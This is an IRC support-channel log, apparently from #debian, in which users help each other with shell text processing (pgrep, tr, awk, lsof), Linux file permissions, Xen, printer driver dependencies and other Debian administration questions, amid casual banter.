| 03:46.20 | nvz | the nice thing about vncserver is you don't even have to have X isntalled to run X clients on the machine |
| 03:46.25 | onyma | geo-rge: can xen be used to install linux onto external hard drives that can later be moved to a real computer? I used qemu to do that for an old computer that couldn't boot from CD and doesn't have a floppy drive |
| 03:46.42 | FXRS | sorry just watching the Packers loose their boots while doing this. lol |
| 03:47.06 | geo-rge | compose that config file, try to start |
| 03:47.29 | nvz | yeah well the Stillers pahnded da Seahawks today innat |
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| 03:47.42 | geo-rge | onyma: yes , but so can the thing it uses, debootstrap |
| 03:47.53 | Dewi | onyma: I'm not expert, but sort of... xen does need a special kernel though |
| 03:47.57 | Dewi | (I think) |
| 03:48.09 | Dewi | that said I believe there are xen kernels built into debian |
| 03:48.15 | Hiryu | is anyone running mailman with exim on debian etch? |
| 03:48.16 | Dewi | s/built into/available in/ |
| 03:48.37 | geo-rge | Dewi: yes, if you have a machine with lots of hd space and a good amount of ram, it' |
| 03:48.53 | geo-rge | would be easy for you to get a little experience with |
| 03:49.10 | xevious | Dewi: you just helped me turn into a BOFH :) |
| 03:49.13 | Dewi | geo-rge: actually I have a VPS with xen and debian on it... but it's not set up yet |
| 03:49.20 | xevious | Dewi: i'm spying on all my friends logged into my system now |
| 03:49.26 | Dewi | xevious: nice |
| 03:49.27 | FXRS | alright I'm logged in now with vncserver. |
| 03:49.44 | geo-rge | Dewi: simply booting the xen kernel would get you a xen dom0 |
| 03:49.59 | geo-rge | it needs some support packages |
| 03:50.23 | arooni_ | folks; is there anyway to expand the size of a virtualbox harddive on a winxp VM? i want to bring my machine from 3GB => 5GB... helP? |
| 03:50.32 | Dewi | geo-rge: so you basically run that kernel and then you can magically invoke more machines ? |
| 03:50.39 | geo-rge | you install those, and the bridging tools (one way to set up xen and its satelite oses is to use a network bridge) |
| 03:50.40 | xevious | are there any awk masters in here? |
| 03:50.56 | geo-rge | Dewi: almost |
| 03:51.09 | geo-rge | awk! awk awk! |
| 03:51.16 | nvz | xevious: yeah but I'm not one of em.. heh |
| 03:51.18 | geo-rge | ark! |
| 03:51.48 | geo-rge | oops, made an awky mistake... not a master either I guess |
| 03:52.26 | geo-rge | but really you just need to play with it while reading something about it |
| 03:52.27 | xevious | anyone wanna help me take the output of ps auxw|grep sftp-server|grep -v grep and turn it into a comma delimited list of PIDs? |
| 03:52.47 | xevious | ok |
| 03:52.57 | Sebboh | dewi: cool |
| 03:52.59 | xevious | can i come crying back to you in about half an hour if i dont get it? |
| 03:53.12 | Sebboh | xevious, awk |
| 03:53.15 | stew | xevious: pgrep sftp-server |
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| 03:53.19 | geo-rge | tell ya what... can you turn one line of ps aux output into a pid? |
| 03:53.21 | nvz | xevious: | cut -d 1 | tr "\n" "," |
| 03:53.25 | nvz | er |
| 03:53.31 | nvz | xevious: cut -f 1 I mean |
| 03:53.41 | Sebboh | I like that. three different answers. All valid. :) |
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| 03:54.11 | xevious | geo-rge: { print $2 } or something? |
| 03:54.15 | stew | xevious: if you really want comma separated, "psgrep sftp-server | tr '\n' ," |
| 03:54.39 | geo-rge | xevious: there's about 2 or 3 ways on your irc screen now :) |
| 03:54.47 | stew | xevious: err pgrep, not psgrep |
| 03:54.50 | nvz | stew's method ftw |
| 03:55.05 | xevious | that seems more efficient to me than firing up awk, is it? |
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| 03:55.15 | xevious | that was awesome, by the way, folks |
| 03:55.30 | Dewi | xevious: yep, but I'd probably use perl which is even heavier just to keep things simple |
| 03:55.46 | Dewi | laziness and simplicity ftw |
| 03:55.56 | nvz | perl -e @!JL^%J^LJ!LK$!#K:L%K:!K:$!@#!~!~$%4262#% 143 isn't simpler |
| 03:56.01 | xevious | haha |
| 03:56.05 | stew | xevious: if you are using bash, 'pidof sftp-server' |
| 03:56.08 | nvz | thats probably valid perl too |
| 03:56.09 | FXRS | Well thanks for the help. :D |
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| 03:56.31 | Dewi | nvz: you can't tell me perl is any less readable than awk and sed |
| 03:56.46 | Sebboh | sed, no. awk, yes |
| 03:57.01 | xevious | pidof is space delimited |
| 03:57.16 | geo-rge | but you can compare prticular expressions for readability... that perl one is particularly ugly too :) |
| 03:57.18 | Sebboh | btw, that perl expression prints the true name of god. --Don't run it, of course. You'll vaporize. |
| 03:57.26 | stew | xevious: pidof sftp-server | tr \ , |
| 03:57.41 | geo-rge | I just want the god of names |
| 03:57.51 | nvz | Dewi: don't get me wrong if I were a programmer I'd love perl and python like they were my children.. but.. I don't have the need so I don't learn any of that stuff. |
| 03:57.53 | xevious | yes |
| 03:57.55 | xevious | thanks |
| 03:57.55 | xevious | :) |
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| 03:58.16 | nvz | Dewi: I learned grep, cut, tr..etc so I didn't need to spend all that time learning perl, sed, awk.. |
| 03:58.33 | nvz | Dewi: simple utils like sort, cut, tr.. are easier to learn |
| 03:58.37 | xevious | stew: '\ ' though |
| 03:58.49 | Sebboh | if you know grep you know a bit of sed. I have NEVER found use for cut or tr, and I plan to keep it that way. |
| 03:58.51 | stew | xevious: yes, passing a space as an argument |
| 03:58.54 | Dewi | nvz: oh, I love those textutils. But despite being a programmer, it seems mostly redundant to learn sed, awk, or tcl when I could use perl |
| 03:59.19 | Sebboh | poll: how do you pronounce tcl? |
| 03:59.30 | onyma | tickle? |
| 03:59.35 | stew | xevious: saying "translate space to comma". "tr ," would only be one argument (which is invalid), "tr \ ," is two arguments, a space and a comma |
| 03:59.51 | xevious | Sebboh: spying. that's the use for tr that i just found |
| 03:59.58 | nvz | Dewi: I still use perl and sed when I can't figure out how to weave the other utils.. but I only know enough to get by |
| 04:00.01 | geo-rge | http://philip.greenspun.com/books/tcl |
| 04:00.08 | stew | xevious: or use "tr ' ' ," or "tr ' ' ','"if you thing it is more readable |
| 04:00.14 | Sebboh | k. somebody mentioned that recently, onyma, and I thought that he was crazy. |
| 04:00.18 | Dewi | nvz: well the space to comma would be: perl -pe 's/ /,/;' |
| 04:00.25 | Dewi | nvz: pretty straightforward |
| 04:00.37 | nvz | Dewi: I read a lot of the perldoc, but never actually did a project in it and thus never learned it. |
| 04:00.38 | xevious | stew: readability is overrated |
| 04:00.48 | Hiryu | what in the hell |
| 04:00.54 | Dewi | xevious: no, it's way way underrated in this chan |
| 04:01.02 | geo-rge | err, that was a 404, try this http://philip.greenspun.com/tcl/ |
| 04:01.09 | keith4_ | can someone help me with an ubuntu problem? |
| 04:01.10 | nvz | Dewi: I dropped it and started learning librep cause I am a sawfish nerd |
| 04:01.14 | Dewi | keith4_: no, try #ubuntu |
| 04:01.15 | stew | keith4_: no, try #ubuntu |
| 04:01.18 | stew | jinx |
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| 04:01.31 | Hiryu | I install mailman.. and it's missing an import command, I do an apt-get --reinstall install mailman, and now it has it... same package/version |
| 04:01.37 | geo-rge | identical minds think alike... |
| 04:01.41 | keith4_ | i don't really have an ubuntu problem, but i got you stop arguing about perl and awk |
| 04:01.52 | Dewi | stew: although we disagree on text processing languages it seems we agree bit for bit perfect on channel policy |
| 04:02.13 | keith4_ | that was an eerily-identical response |
| 04:02.20 | Dewi | keith4_: we're both bots |
| 04:02.22 | stew | Dewi: your extraction and reporting languages are not practical :P |
| 04:02.22 | geo-rge | Pawk::Parser |
| 04:02.36 | Dewi | keith4_: I'm the one with the perl factoids, stew has the tr sed and awk ones |
| 04:02.40 | keith4_ | lol |
| 04:03.06 | Dewi | (actually I'd make a very poor perlbot, my perl is terrible.) |
| 04:03.11 | nvz | and I'm the bot that randomly rants off-topic |
| 04:03.36 | nvz | apt, person? |
| 04:03.37 | apt | person is, like, like a bot, but squishier, or a meat popscicle |
| 04:04.05 | nvz | that still cracks me up.. for a bot to say a person is like a bot, but squishier |
| 04:04.07 | xevious | for reference, if you've got an sftp server this is a nice little command: lsof -p `pidof sftp-server|tr ' ' ,`|grep 5r |
| 04:04.14 | keith4_ | i'm going to save this log to see if it's still this funny when i'm sober |
| 04:04.43 | geo-rge | probably not :) |
| 04:04.56 | stew | hmm, all of the sudden, i'm craving a popsicle |
| 04:04.59 | geo-rge | in fact it might not be worth a second read |
| 04:05.17 | keith4_ | i dunno, i actually *did* laugh out loud |
| 04:05.59 | xevious | keith4_: so what are you smoking and can i have some, then? |
| 04:06.26 | keith4_ | captain morgan private stock |
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| 04:06.41 | stew | omg lolz perlz |
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| 04:10.49 | xevious | can cut be made to use any section of whitespace as a delimiter? i'd like it to take the output of my lsof command and strip it to 'user filesize file' but it seems to use tabs as a delimiter by default and setting it to space wouldn't work really |
| 04:11.03 | geo-rge | she worz uh perlz nek laz |
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| 04:12.01 | stew | xevious: use awk, which treats multiple delimiters in a row as one delimeter |
| 04:12.03 | geo-rge | xevious: now, cut is right there under your fingers... see what you can make it do |
| 04:12.11 | stew | xevious: or use cut -c instead of cut -f |
| 04:13.56 | cafuego | stew: awk treats multiple delimiters as just one? |
| 04:14.00 | cafuego | stew: since when? |
| 04:14.02 | stew | cafuego: yes |
| 04:14.04 | stew | since always |
| 04:14.17 | xevious | ok. i actually have it somewhat working with awk |
| 04:14.19 | Sebboh | I wasn't aware of that |
| 04:14.19 | stew | cafuego: no? |
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| 04:14.38 | cafuego | stew: That would make csv parsing completely broken if you had empty fields |
| 04:14.47 | cafuego | stew: ... which (afaik) it's not |
| 04:14.58 | Sebboh | because that would totally screw up non-quote-enclosed csvs or tsvs that had empty fields. |
| 04:15.00 | cafuego | stew: 1,,foo |
| 04:15.05 | cafuego | 2,bar,, |
| 04:15.07 | xevious | cafuego: it definitely treats a block of spaces and a single space as the same delimiter |
| 04:15.11 | geo-rge | you two sound like you're talking about two different use cases |
| 04:15.15 | Sebboh | or 1\t\tfoo |
| 04:15.22 | cafuego | that should print foo and bar on $2, which it doesn't |
| 04:15.23 | stew | cafuego: echo "a b" | awk 'BEGIN{FS=" "}{print $2}' |
| 04:15.32 | xevious | geo-rge: lsof -p `pidof sftp-server|tr ' ' ,`|grep 5r|awk '{print $3, $9}' |
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| 04:15.38 | cafuego | stew: try it with commas |
| 04:15.42 | xevious | geo-rge: this works except when the file has spaces in the name |
| 04:15.55 | stew | cafuego: hmm, is whitespace special then? |
| 04:15.58 | xevious | geo-rge: how do i turn that into $9-and-the-rest-of-the-line? |
| 04:16.02 | stew | cafuego: try mine? |
| 04:16.06 | Gokee2 | How do I make apt ignore some packages... I installed some packages with dpkg that say they don`t have all the depends and they work (package they depend on changed names) so how do i get apt to ignore them and install other stuff without wanting to uninstall them first? |
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| 04:16.15 | cafuego | stew: Yours indeed |
| 04:16.53 | cafuego | stew: but not for tabs either |
| 04:17.03 | stew | cafuego: interesting |
| 04:17.13 | Snuggles | So, I installed a secondary HD on my Debian install (2.4 kernel). Do I need to mount it somehow? |
| 04:17.31 | Sebboh | you want it to always be there? edit fstab |
| 04:17.42 | Sebboh | there might be some tool that does that, I dunno. |
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| 04:18.21 | stew | i guess it's just spaces? |
| 04:18.42 | cafuego | yep |
| 04:18.51 | cafuego | not that i *ever* use spaces in a csv |
| 04:19.04 | cafuego | or BEGIN{FS=foo |
| 04:19.06 | Snuggles | Well, I'm trying to fix my g/f's HD. It wouldn't boot, so I figured I would put it on my computer and see if I could backup some files.. |
| 04:19.12 | cafuego | -F is a tad quicker :-) |
| 04:19.18 | stew | cafuego: but less portable :) |
| 04:19.36 | stew | cafuego: (original-awk doesn't support -F iirc) :) |
| 04:19.39 | Snuggles | The question is..do I need to do anything special if I'm installing a secondary HD? |
| 04:19.48 | Snuggles | Currently it isn't detected. |
| 04:19.51 | cafuego | ports to all my linux machines, regardless of distro :-) |
| 04:20.24 | cafuego | If I find one that doesn't, it;'s getting wiped and upgraded to a debian xen vm |
| 04:20.33 | Terminus | Snuggles: check the jumpers and make sure there's a master and slave hard drive, or they're both cable select if you're using 80 conductor cable. then you'll need to mount it. |
| 04:21.10 | Snuggles | This secondary HD actually didn't even have jumpers on it. My main HD has a jumper on it (which I assume is set to master). |
| 04:21.25 | Snuggles | If the secondary HD doesn't have a jumper on it, does it assume cable select or will it be inactive? |
| 04:21.35 | Terminus | Snuggles: if there's no jumper, it's a slave. |
| 04:21.52 | Terminus | that means the jumper on the master should be on master and not on cable select. |
| 04:21.57 | stew | cafuego: nm, its -v that is the non-portable one |
| 04:22.05 | stew | (that i've been meaning to file some bugs about) |
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| 04:22.31 | Lycus | I have a server setup, and I want all users except me to only to be able to write/change/execute files within their own home directories - how can I accomplish this? |
| 04:22.39 | Snuggles | Ah, so chances are my main HD (the one I'm running on now) is on cable select if it can't detect the slave HD? |
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| 04:22.59 | Lycus | I want them to be able to read all other files, at least outside others ~ folders. |
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| 04:23.23 | cafuego | Lycus: you don't want them to be able to run /bin/bash or /bin/ls ? |
| 04:23.44 | Lycus | cafuego: Read and execute |
| 04:23.55 | cafuego | Lycus: Set the umask to 002 and non-group-readable homedirs |
| 04:24.50 | Snuggles | time to look up jumper settings. ^_^ |
| 04:25.07 | Lycus | cafuego: I am not exactly sure how to do that. Is there a good tutorial out for it? :-P |
| 04:25.19 | cafuego | Lycus: chmod o-rwx /home/* |
| 04:25.44 | cafuego | Lycus: Edit /etc/adduser.conf to tweak this for newly created users. |
| 04:26.04 | geo-rge | Lycus: so you want them to be able to read anywhere except in other people's homes |
| 04:26.20 | Lycus | geo-rge: Right, read and execute. |
| 04:26.52 | Lycus | As of now, for some reason, an ordinary user can edit stuff in /var/www ; that may be my own doing, though |
| 04:28.11 | Lycus | I still want them to be able to run webservices (such as a blog) in their public_html folders. Will the chmod o-rwx /home/* interfere with that? |
| 04:28.18 | xevious | geo-rge: is there a way to tell awk to print everything from the 9th field to the end of line? |
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| 04:28.20 | Lycus | I really need to read-up on user permissions in Linux. |
| 04:28.28 | Lycus | It just seems overwhelming :-P |
| 04:28.52 | geo-rge | xevious: dunno, guess: put 9- somewgere? |
| 04:28.52 | xevious | Lycus: it's really easy. you'd have the hang of it in under an hour |
| 04:29.05 | xevious | hehe that's it? |
| 04:29.07 | xevious | oh man |
| 04:29.11 | stew | Lycus: http://wiki.debian.org/Permissions |
| 04:29.14 | xevious | no syntax error |
| 04:29.29 | xevious | i meant "no. ... syntax error" |
| 04:30.10 | geo-rge | xevious: take a look in the man page |
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| 04:30.39 | rha_1 | hi |
| 04:30.50 | xevious | geo-rge: i'm there. and it's not helping |
| 04:30.57 | Lycus | stew: how can I set it read/execute only permissions for all files and directories on the system |
| 04:31.13 | stew | Lycus: you don't want to do that |
| 04:31.17 | Lycus | I don't? |
| 04:31.29 | xevious | you dont want nonroot users to execute /sbin files |
| 04:31.34 | stew | Lycus: why would you want to put execute permission on all files on the system? |
| 04:31.36 | xevious | at least some of them |
| 04:31.39 | Lycus | Well |
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| 04:31.48 | Lycus | Ok |
| 04:31.48 | stew | Lycus: why do you want read permissions on /etc/shadow? |
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| 04:32.08 | xevious | permissions are what make linux virtually virus proof |
| 04:32.08 | geo-rge | usually the /sbin stuff does admin only things anyway |
| 04:32.24 | Lycus | Ok, this is just ignorance speaking from me. |
| 04:32.25 | Lycus | :-) |
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| 04:32.37 | stew | xevious: that's silly |
| 04:32.48 | xevious | stew: how so? |
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| 04:33.02 | Lycus | I basically want users to be able to read man files, execute /usr/bin files, and nothing else. |
| 04:33.35 | xevious | stew: some linux virus comes along, running under my user it's only going to be able to alter stuff that my user has write privileges on |
| 04:33.39 | Supaplex | !rbash |
| 04:33.45 | stew | xevious: linux isn't virus proof. if permissions did make linux virus proof, why dosn't it make mac and windows virus proof? |
| 04:33.56 | xevious | stew: virtually |
| 04:34.01 | Supaplex | Lycus: rbash is a restricted bash shell. check the bash man page |
| 04:34.12 | stew | xevious: right, same is it is in window, when you get a window virus it only has permissions to alter the stuff as the user than ran it |
| 04:34.13 | Supaplex | virus? what's that? |
| 04:34.33 | xevious | stew: except windows installs and leaves you sitting in the Administrator account |
| 04:34.35 | stew | xevious: however, any local vulnerablility should be considered a root vulnerability |
| 04:34.50 | stew | xevious: debian install does that too |
| 04:35.10 | Lycus | rbash seems too restrictive to me |
| 04:36.05 | Lycus | hmm |
| 04:36.53 | rha_1 | hi all |
| 04:37.07 | rha_1 | i have problem using blender under ltsp in debian |
| 04:37.13 | rha_1 | i have this message : |
| 04:37.27 | geo-rge | pastebin maybe? |
| 04:37.30 | rha_1 | Xlib: extension "GLX" missing on display "ws198.ltsp:0.0". |
| 04:37.30 | rha_1 | ERROR: Unable to open Blender window |
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| 04:37.40 | Lycus | Eep! After chmod o-rwx /home/* I can't see webpages anymore. |
| 04:37.53 | Lycus | in user directories. |
| 04:38.46 | geo-rge | maybe you want the home dir to be o+rx and the things inside othe than public_html to be o-rwx |
| 04:38.59 | Supaplex | Lycus: you could mount /home noexec,nosuid,nodev |
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| 04:39.16 | Wyzard | rha_1: The client's X server doesn't have OpenGL enabled for some reason |
| 04:39.18 | Supaplex | Lycus: it won't prevent "sh ~/mystuff.sh" |
| 04:39.21 | squisher | Lycus: you need to have all ~/public_html accessible for others |
| 04:39.53 | Wyzard | rha_1: GLX is the OpenGL support for X11 |
| 04:39.56 | Lycus | squisher: ja |
| 04:40.59 | rha_1 | and what sould i do ? |
| 04:41.06 | squisher | Lycus: since the standard unix permission model is not all too flexible this is what happens: the webserver runs with its own userid & group, so it accesses the websites from the user's home "other" |
| 04:41.38 | squisher | s/"other"/with the permission of "other" |
| 04:41.53 | Wyzard | rha_1: I don't know much about LTSP, but you need to configure the system that gets served to the client to have OpenGL enabled |
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| 04:42.55 | squisher | what is ltsp? |
| 04:43.04 | Wyzard | Linux Terminal Server Project |
| 04:43.08 | Wyzard | It's for setting up thin clients |
| 04:43.11 | Gokee2 | Is there any way I can change what a package I have installed says it depends on? |
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| 04:43.30 | squisher | Wyzard: Ah, thanks |
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| 04:43.44 | Wyzard | Gokee2: Aside from ugly hacks involving recompiling the package, no |
| 04:43.47 | nvz | Gokee2: short of repackaging it, no.. but you probably don't want to do that anyhow |
| 04:44.09 | nvz | Gokee2: you can satisfy the dependency using equivs |
| 04:44.25 | markybob | !equivs |
| 04:44.25 | dpkg | extra, extra, read all about it, equivs is a package that enables you to create dummy packages that tell apt you really have installed (through some other means) the package. apt-get install equivs, and read /usr/share/doc/equivs/*, or see also "usrlocal" |
| 04:44.27 | Gokee2 | So... I have a package installed and working... But apt hates it... What should I do? |
| 04:44.31 | Wyzard | That's an ugly hack too |
| 04:44.40 | Wyzard | Gokee2: What's the unsatisfied dependency? |
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| 04:45.06 | Gokee2 | libglib1.2 (>= 1.2.0) |
| 04:45.43 | Wyzard | hmm... looks like libglib1.2 doesn't exist anymore, in sid at least |
| 04:45.48 | Wyzard | probably because it's so old |
| 04:45.57 | Wyzard | and obsolete |
| 04:46.09 | Gokee2 | Ok... I don`t really need it anyway |
| 04:46.16 | Gokee2 | The package is working fine |
| 04:46.20 | Wyzard | but if your program uses GTK 1.x, it definitely needs that library |
| 04:46.32 | Wyzard | What's the program, anyway? |
| 04:46.35 | markybob | if your program uses gtk 1.x, you need to switch prorams :p |
| 04:46.37 | Gokee2 | Its just a printer driver |
| 04:47.01 | Wyzard | oh, some third-party .deb from a manufacturer, built for some ancient version of Debian probably |
| 04:47.01 | Gokee2 | bjfilter-pixmaip1500 and bjfilter-pixmaip1500-lprng |
| 04:47.11 | Gokee2 | In japan ya.... |
| 04:47.12 | Wyzard | that hasn't been updated by the manufacturer in years |
| 04:47.54 | Wyzard | Gokee2: The driver itself doesn't need that library, but it probably came with some GUI configuration tool which does |
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| 04:48.24 | Gokee2 | Wyzard, Ya... |
| 04:48.29 | dondelelcaro | you can find them, the problem is in what condition |
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| 04:48.47 | CryptoMole | hi all |
| 04:49.07 | dondelelcaro | though I personally just bought a neat little samsung for ~$190 with network and ps |
| 04:49.09 | CryptoMole | I need some asst. |
| 04:49.15 | Gokee2 | I wonder if I only really need the first package.... |
| 04:49.30 | geo-rge | CryptoMole: just |
| 04:49.30 | markybob | CryptoMole: /msg dpkg ask |
| 04:49.32 | geo-rge | !ask |
| 04:49.32 | dpkg | If you have a question, just ask! For example: "I have a problem with ___; I'm running Debian version ___. when I try to do ___ I get the following output ___. I expected it to do ___." Don't ask if you can ask, or if anyone uses it, or pick one person to ask (ask the whole channel!). We're all volunteers; make it easy for us to help you. If you don't get an answer, ask later or ask debian-user@lists.debian.org |
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| 04:49.56 | CryptoMole | I run etch and have to install new pcmcia from source |
| 04:50.12 | Wyzard | Gokee2: You might not need that driver package at all, if that printer is supported natively by CUPS these days |
| 04:50.18 | CryptoMole | for my creative sound card to work |
| 04:50.22 | geo-rge | that stuff is in the kernel now isn't it? |
| 04:50.49 | Wyzard | Gokee2: From the package name it sounds like it's meant to work with LPRng, which is an old print spooler that's been superseded by CUPS |
| 04:51.21 | Gokee2 | Wyzard, Its not |
| 04:51.27 | teckfatt | hello, i running etch, i need to generate rsa key using the ipsec newhostkey command, and it freeze at there after i type the command, anyone know how to solve this? |
| 04:51.57 | Gokee2 | This old crappy set of debian packages is the only way to make this printer work without paying turboprint $30 |
| 04:52.13 | Gokee2 | At least in my hours of googleing and testing |
| 04:52.25 | Wyzard | Gokee2: You'll probably have to uninstall CUPS and install LPRng, then, and figure out how to configure that |
| 04:52.33 | Wyzard | Gokee2: or just get a printer that doesn't suck |
| 04:52.49 | Gokee2 | Wyzard, The printer works great with cups |
| 04:53.01 | Gokee2 | Its just apt that has problems |
| 04:53.07 | geo-rge | CryptoMole: just so you know... the more details you give (what sound card, what chipset, what kernel you're running, etc) you give, the greater number of people will notice whether they can help |
| 04:53.31 | CryptoMole | cool |
| 04:53.48 | markybob | and what the hell you mean by "new pcmcia from source" |
| 04:53.49 | Wyzard | Gokee2: hmm... you mentioned both "bjfilter-pixmaip1500" and "bjfilter-pixmaip1500-lprng" |
| 04:53.59 | Gokee2 | Wyzard, Ya |
| 04:54.03 | Wyzard | Gokee2: The second sounds like it's meant for LPRng, which I wouldn't expect to work with CUPS |
| 04:54.09 | Wyzard | Gokee2: Maybe the first one is meant for CUPS? |
| 04:54.12 | CryptoMole | let me start again. |
| 04:54.26 | geo-rge | we heard the start already! |
| 04:54.30 | geo-rge | continue instead. |
| 04:54.31 | Gokee2 | Hmmm I guess It could be... I could try it without the 2nd |
| 04:55.10 | CryptoMole | I need the bus pcmcia to have the latest driver and mine is obsolete, kernel message. |
| 04:55.36 | markybob | CryptoMole: so compile your own kernel. what's the problem? |
| 04:55.46 | simonrvn | teckfatt: lemme guess, running out of entropy or something |
| 04:55.48 | CryptoMole | my sound card is audigy2zs notebook pcmcia |
| 04:56.50 | teckfatt | simonrvn: what that mean? any solution? |
| 04:56.59 | CryptoMole | I wanted to know if anyone knows of any debian totorial or howtos? |
| 04:57.38 | markybob | CryptoMole: http://www.falkotimme.com/howtos/debian_kernel2.6_compile/ apt-get install kernel-package and man make-kpkg |
| 04:58.24 | simonrvn | teckfatt: do some reading on what entropy is, encryption is, and how linux handles it, then you can answer that for yourself. solution? wait until you get more.. mouse your mouse around, press the modifier keys really fast |
| 04:58.31 | simonrvn | CryptoMole: for? |
| 04:58.45 | CryptoMole | huh? |
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| 04:59.45 | teckfatt | simonrvn: thank you so much |
| 04:59.47 | CryptoMole | all I want to do is install new pcmcia version to my machine. |
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| 05:02.15 | cadu | guys, i'm experiencing a very strange problem here, i'm experiencing period lockups every 7 seconds or so |
| 05:02.27 | cadu | the whole system freezes for like 1 second....strange |
| 05:03.00 | Gokee2 | Anyone know where I can get libgcj4? |
| 05:03.01 | cadu | anyone here has faced the same problem? i'm on 2.6.18 [debian] with a testing system |
| 05:03.02 | markybob | cadu: hrm...pretty hard to diagnose with just that :P syslog show anything? also, you might want to try booting with noapic |
| 05:04.04 | Gokee2 | I seem to have it on my laptop is there any way to transfure a installed package to another computer? |
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| 05:04.34 | markybob | Gokee2: uh....you could dpkg -L package ...to get a listing of all the files in the package and copy that over. |
| 05:04.37 | what_if | is there a channel for people creating custom linux distros ? |
| 05:05.24 | Gokee2 | markybob, Hmm ok |
| 05:05.32 | simonrvn | yeh it's called /join #theFutureNameoftheCustomDistro |
| 05:06.59 | what_if | simonrvn: hmmm, thats very lonely though |
| 05:07.59 | cadu | markybob: like, playing a video or something, everything stutters, top output is laggy even with -d 0.4 or something, can't quite define what's causing the spikes |
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| 05:08.24 | cadu | markybob: nothing on /var/log/messages |
| 05:09.22 | simonrvn | yes it is... seriously though, i don't know of any like that, i suppose ##linux would be the closest thing to that |
| 05:11.43 | what_if | simonrvn: ok, was just wondering if I'm the only crazy one working on a custom-project :) |
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| 05:14.58 | simonrvn | find others who are doing this, get some help, and keep plodding on. |
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| 05:15.47 | codynotes | Hey, does anyone know how to find the currently active DHCP leases that have been handed out? |
| 05:17.02 | codynotes | I see /var/lib/dhcp/dhcpd.leases, but it has like a hundred stale leases in it, and it's missing leases that it has obviously handed out. |
| 05:17.35 | codynotes | Can I force dhcpd to update that file somehow? |
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| 05:20.11 | Haris | Hello people |
| 05:20.23 | Haris | Does debian come with l7-filter or ipp2p for iptables? |
| 05:20.35 | Haris | Can't find the relevant package on packages.debian.org |
| 05:21.23 | markybob | Haris: no. we try to limit the amount of bad scripts that we have |
| 05:21.30 | Haris | bad? |
| 05:21.34 | markybob | yes, bad. |
| 05:21.43 | Haris | explain? |
| 05:22.19 | Haris | What's bad about l7-filter or opp2p? |
| 05:22.22 | Haris | ipp2p+ |
| 05:22.27 | markybob | l7-filter and ipp2p are bad. what more do you want? go read the ip table docs and make your own rules |
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| 05:22.58 | sadmin | hi all |
| 05:23.22 | sadmin | i have debain machine with ntp server installed all good my ubuntu clients are sunc with ntp |
| 05:23.47 | sadmin | but my windows machine cant sync thats why windows email clients are out of time every week |
| 05:24.16 | markybob | sadmin: sounds to me like you need to convert that windows machine |
| 05:24.20 | sadmin | for servers am using win2003 those gave error whole updating time from ubuntu |
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| 05:24.34 | sadmin | what u mean convert |
| 05:24.38 | markybob | win 2003 server....yeah... you're in the wrong channel |
| 05:24.48 | markybob | convert it to linux. or go to another channel |
| 05:24.59 | dakoo | convert all machines to dos 4.11 |
| 05:25.03 | niru | how to make motion eye wrok in sony laptop |
| 05:25.06 | niru | in debian |
| 05:25.42 | niru | any body |
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| 05:26.16 | sadmin | dakoo how i convert win machine to dos 4.11 |
| 05:26.22 | sadmin | can u give any idea |
| 05:26.23 | sadmin | ? |
| 05:26.24 | Gokee2 | Hah I changed the control file and reinstalled the printer driver package and now it works and apt is happy |
| 05:26.29 | markybob | oh stop being stupid |
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| 05:28.06 | dakoo | let me see here. ntpd works on your server, ntpdate works on your clients, but windows machine don't, and you are on #debian, there is a flaw here somewhere, i just can't pin point it |
| 05:28.35 | sadmin | wait |
| 05:29.12 | sadmin | what flaw |
| 05:29.23 | sadmin | u mena i wont ask here on #debian |
| 05:29.32 | sadmin | see my ubuntu machine can sync |
| 05:29.49 | markybob | you have a windows problem and you're asking for help in #debian. move on |
| 05:29.54 | markybob | that's all we're saying |
| 05:30.31 | Gokee2 | Anyone know if there is a way to make irate radio work on debian lenny? |
| 05:30.33 | markybob | nor do we give a fuck about ubuntu machines |
| 05:30.39 | sadmin | ok |
| 05:30.41 | sadmin | sorry guys |
| 05:30.49 | dakoo | yeah, ubuntu is for sissy people |
| 05:31.07 | niru | markybob, any idea |
| 05:32.03 | markybob | it's because of shit like this that i only manage to get myself into #debian once every two weeks or so. fuck i want the old days back |
| 05:32.29 | dakoo | you mean the 80's with break dance and all |
| 05:32.46 | dakoo | grand master flash and furious five |
| 05:37.28 | Haris | How do you propose control pver p2p protocols? |
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| 05:38.13 | squisher | Haris: AFAIK there's no way around those filters that you mentioned earlier - static rules won't work because a lot of p2p systems work with configurable ports these days |
| 05:38.38 | dotz | what is the default file permission and access when i create a new file? is there anyway to change the default? |
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| 05:39.13 | enouf | dotz: help umask |
| 05:39.17 | Haris | squisher: As far as I'v read, l7-filter and ipp2p provide a mechanism of identifying the 'p2p traffic' no matter what ports are used |
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| 05:40.23 | squisher | Haris: Yeah, that's what I meant |
| 05:40.49 | squisher | Haris: install from source if they're not in Debian. I can't comment on them being "bad", I don't know them well enough for that |
| 05:41.38 | Haris | dakoo: If debian's not that sissy as ubuntu, maybe it has a solution to offer for filtering/controlling p2p traffic? |
| 05:41.59 | Haris | squisher: ah, that comes back to square one. do it from scratch |
| 05:42.02 | Haris | *laugh* |
| 05:42.08 | Haris | I'm trying that |
| 05:42.10 | squisher | Haris: the installation from source is pretty trivial, what is the issue with that? |
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| 05:45.44 | Haris | damn, they are encrypting protocols to avoid detection |
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| 05:46.08 | simonrvn | dakoo has issues with women |
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| 05:46.28 | squisher | simonrvn: who hasn't? |
| 05:47.00 | dakoo | Haris: sorry there, never used any p2p stuff, so can't comment on your questions |
| 05:47.27 | Haris | dakoo: I'm amazed one can even say that, today |
| 05:47.44 | squisher | Haris: you can't completely control p2p (just look at skype) |
| 05:47.46 | dakoo | got giganews account, use nget and get anything on the planet |
| 05:47.50 | Haris | squisher: Yep |
| 05:48.06 | Haris | makes sense |
| 05:48.16 | Haris | a legal way to do illegal stuff |
| 05:48.34 | fengor | p2p is not illegal |
| 05:48.45 | Haris | squisher: Skype's protocol is quite ... remarkable |
| 05:49.10 | Haris | who said it was? |
| 05:49.10 | zinx | remarkably obtuse |
| 05:49.16 | squisher | Haris: yeah, which sucks - pretty unlikely to get a good open source client |
| 05:49.47 | Haris | How else do you expect them to earn money? *laugh* |
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| 05:50.05 | squisher | Haris: the same way they do now? |
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| 05:51.30 | CutMeOwnThroat | by cutting throats? :) |
| 05:54.27 | robboplus | fengor news isn't p2p :) |
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| 05:54.53 | robboplus | and skype... no, thanks :) |
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| 06:04.33 | kumaran | hi, Through Synaptic I selected many softwares and clicked "Apply" (to install). Then after downloading of 650MB softwares, I got inbuild console screen says "Extracting templates from packages: 100%", and "Preconfiguring packages ...". And then no more process being running more than 5 and half hours gone, still the same window appearing and no processes running (I say this as Processing... |
